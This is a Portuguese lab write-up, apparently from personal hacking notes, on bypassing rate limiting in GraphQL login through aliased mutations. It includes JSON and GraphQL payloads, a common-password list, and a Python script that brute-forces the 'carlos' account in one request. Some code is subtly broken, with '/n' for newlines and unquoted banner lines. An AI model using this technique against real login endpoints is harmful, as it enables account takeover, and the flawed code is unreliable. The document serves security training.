> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/graphql/graphql-anti-brute-force-protection-bypass.md).

# Contorno da proteção anti-força bruta do GraphQL

Anotações sobre Contorno da proteção anti-força bruta do GraphQL para os laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, testes de payloads, validação no Burp Suite e contexto de remediação.

### Contornando as Proteções de Força Bruta do GraphQL

#### Contexto do laboratório

O formulário de login do laboratório é baseado em uma API **GraphQL** com um parâmetro **limite de taxa**: após várias tentativas incorretas, o endpoint retorna um erro indicando que você deve esperar (por exemplo, 1 minuto) antes de tentar novamente.

Objetivo: **gravate login** para se conectar como **carlos**, usando a lista de senhas fornecida pelos laboratórios de autenticação.

```json
{
  "query": "/nquery getBlogSummaries {/n    getAllBlogPosts {/n        image/n        title/n        summary/n        id/n    }/n}",
  "operationName": "getBlogSummaries"
}
```

#### (1) Observação da Solicitação GraphQL

Ao interceptar a conexão, recuperamos uma mutação do tipo:

```json
{
  "query": "/n    mutation login($input: LoginInput!) {/n        login(input: $input) {/n            token/n            success/n        }/n    }",
  "operationName": "login",
  "variables": {
    "input": {
      "username": "carlos",
      "password": "test"
    }
  }
}
```

Após muitas tentativas incorretas, a API responde com um erro de limitação:

```json
{
  "errors": [
    {
      "path": [
        "login"
      ],
      "extensions": {
        "message": "Você fez muitas tentativas de login incorretas. Tente novamente em 1 minuto(s)."
      },
      "locations": [
        {
          "line": 3,
          "column": 9
        }
      ],
      "message": "Exceção ao buscar dados (/login) : Você fez muitas tentativas de login incorretas. Tente novamente em 1 minuto(s)."
    }
  ],
  "data": {
    "login": null
  }
}
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-07fb85b17b9dedba79c7047acddb9fdb4f50e4ca%2F%7B3BB646A5-0990-473F-A9E3-81F1AF123450%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 2) Por que Multiplicar Campos?

Uma ideia natural é enviar várias `login` chamadas em **uma única mutação**.

<details>

<summary><a href="https://portswigger.net/web-security/authentication/auth-lab-passwords">Senhas dos laboratórios de autenticação</a></summary>

123456/ password/ 12345678/ qwerty/ 123456789/ 12345/ 1234/ 111111/ 1234567/ dragon/ 123123/ baseball/ abc123/ football/ monkey/ letmein/ shadow/ master/ 666666/ qwertyuiop/ 123321/ mustang/ 1234567890/ michael/ 654321/ superman/ 1qaz2wsx/ 7777777/ 121212/ 000000/ qazwsx/ 123qwe/ killer/ trustno1/ jordan/ jennifer/ zxcvbnm/ asdfgh/ hunter/ buster/ soccer/ harley/ batman/ andrew/ tigger/ sunshine/ iloveyou/ 2000/ charlie/ robert/ thomas/ hockey/ ranger/ daniel/ starwars/ klaster/ 112233/ george/ computer/ michelle/ jessica/ pepper/ 1111/ zxcvbn/ 555555/ 11111111/ 131313/ freedom/ 777777/ pass/ maggie/ 159753/ aaaaaa/ ginger/ princess/ joshua/ cheese/ amanda/ summer/ love/ ashley/ nicole/ chelsea/ biteme/ matthew/ access/ yankees/ 987654321/ dallas/ austin/ thunder/ taylor/ matrix/ mobilemail/ mom/ monitor/ monitoring/ montana/ moon/ moscow

</details>

Mas, se repetirmos o mesmo campo sem distinção, o GraphQL o recusa porque os campos ficariam ambíguos (mesmo nome no mesmo nível).

```graphql
 mutation login($input: LoginInput!) {
        login(input: $input) {
            token
            success
        }
    }
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-97f6789bab57f195b1ae0ee4ef43cb828d7df391%2F%7B0F7BAFE4-E404-4570-9590-22D491E764F0%7D.png?alt=media" alt="" width="473"><figcaption></figcaption></figure>

Exemplo inválido (estrutura incorreta / colisão de campo):

```graphql
mutation login {
  login(input: { username: "carlos", password: "test" }) {
    token
    success
  }
}
```

```graphql
mutation{
  login(input: { username: "carlos", password: "test" }) {
    token
    success
  }
}
  login(input: { username: "carlos", password: "hack" }) {
    token
    success
  }
}
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8ef1aeaab8abaae771890202fd8347744a639321%2F%7B9903BD87-1B69-48AB-BA8C-0092EDD967AD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 3) Contornando: Usando Aliases

GraphQL torna possível renomear cada chamada usando **aliases**. / Assim, você pode executar **várias tentativas de login em uma única solicitação HTTP**, o que reduz o impacto do limite de taxa

Exemplo válido:

```graphql
mutation login{
  loginTest: login(input: { username: "carlos", password: "test" }) {
    token
    success
  }

  loginHack: login(input: { username: "carlos", password: "hack" }) {
    token
    success
  }
}
```

Como resultado, a API processa vários testes em uma única janela para limitar o lado do servidor.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3864c0779c02c50acee3fac1cc0bd233355c606e%2F%7B80211AF3-A149-4115-A626-E41A2B642C13%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 4) Automação (abordagem com script)

Princípio:

* Construa `mutation login {... }`
* Adicione uma linha por senha:
* `login{i}: login(input: { username: "carlos", password: "..." }) { token success }`
* Enviar solicitação
* Navegar `data.login{i}` para encontrar `success: true`

```python
import requests
import time

url = "https://0a4b00ea04b4e78b82865172004a00ac.web-security-academy.net/graphql/v1"
headers = {
    "Content-Type": "application/json",
    "Cookie": "session=JS5JG4wreF5dGV62An3DXhBbLN1Z3Hch",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0",
    "Referer": "https://0a4b00ea04b4e78b82865172004a00ac.web-security-academy.net/login",
    "Origin": "https://0a4b00ea04b4e78b82865172004a00ac.web-security-academy.net"
}

passwords = ["123456", "password", "12345678", "qwerty", "123456789", "12345", "1234", "111111", "1234567", "dragon", "123123", "baseball", "abc123", "football", "monkey", "letmein", "shadow", "master", "666666", "qwertyuiop", "123321", "mustang", "1234567890", "michael", "654321", "superman", "1qaz2wsx", "7777777", "121212", "000000", "qazwsx", "123qwe", "killer", "trustno1", "jordan", "jennifer", "zxcvbnm", "asdfgh", "hunter", "buster", "soccer", "harley", "batman", "andrew", "tigger", "sunshine", "iloveyou", "2000", "charlie", "robert", "thomas", "hockey", "ranger", "daniel", "starwars", "klaster", "112233", "george", "computer", "michelle", "jessica", "pepper", "1111", "zxcvbn", "555555", "11111111", "131313", "freedom", "777777", "pass", "maggie", "159753", "aaaaaa", "ginger", "princess", "joshua", "cheese", "amanda", "summer", "love", "ashley", "nicole", "chelsea", "biteme", "matthew", "access", "yankees", "987654321", "dallas", "austin", "thunder", "taylor", "matrix", "mobilemail", "mom", "monitor", "monitoring", "montana", "moon", "moscow"]

def brute_force_all_at_once():
    print("[*] Criando consulta GraphQL com todas as senhas...")

    query = "mutation login {/n"
    for i, pwd in enumerate(passwords):
        query += f'  login{i}: login(input: {{ username: "carlos", password: "{pwd}" }}) {{/n    token/n    success/n  }}/n'
    query += "}"

    print(f"[*] Comprimento da consulta: {len(query)} caracteres")
    print(f"[*] Testando {len(passwords)} senhas de uma vez...")

    payload = {"query": query}

    start_time = time.time()

    try:
        response = requests.post(url, json=payload, headers=headers, timeout=10)

        if response.status_code == 200:
            data = response.json()

            for i, pwd in enumerate(passwords):
                result = data.get("data", {}).get(f"login{i}")
                if result and result.get("success"):
                    print(f"/n[+] SUCESSO!")
                    print(f"[+] Nome de usuário: carlos")
                    print(f"[+] Senha: {pwd}")
                    print(f"[+] Token: {result.get('token')}")
                    print(f"[+] Tempo: {time.time() - start_time:.2f} segundos")
                    return True
            else:
                print("[-] Senha não encontrada na lista")
        else:
            print(f"[-] Erro HTTP: {response.status_code}")
            print(response.text[:200])

    except requests.exceptions.RequestException as e:
        print(f"[-] Falha na solicitação: {e}")

    return False

if __name__ == "__main__":
    print("=" * 50)
    Ataque de Força Bruta GraphQL
    Usando aliases para contornar a limitação de taxa
    print("=" * 50)

    if brute_force_all_at_once():
        print("/n[+] Ataque concluído com sucesso!")
    else:
        print("/n[-] Ataque falhou")
```

A senha encontrada para **carlos** é:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-82c6a35ee7a58a066f36721921e0fbbf670ddb9f%2Fimage%20(89).png?alt=media" alt=""><figcaption></figcaption></figure>


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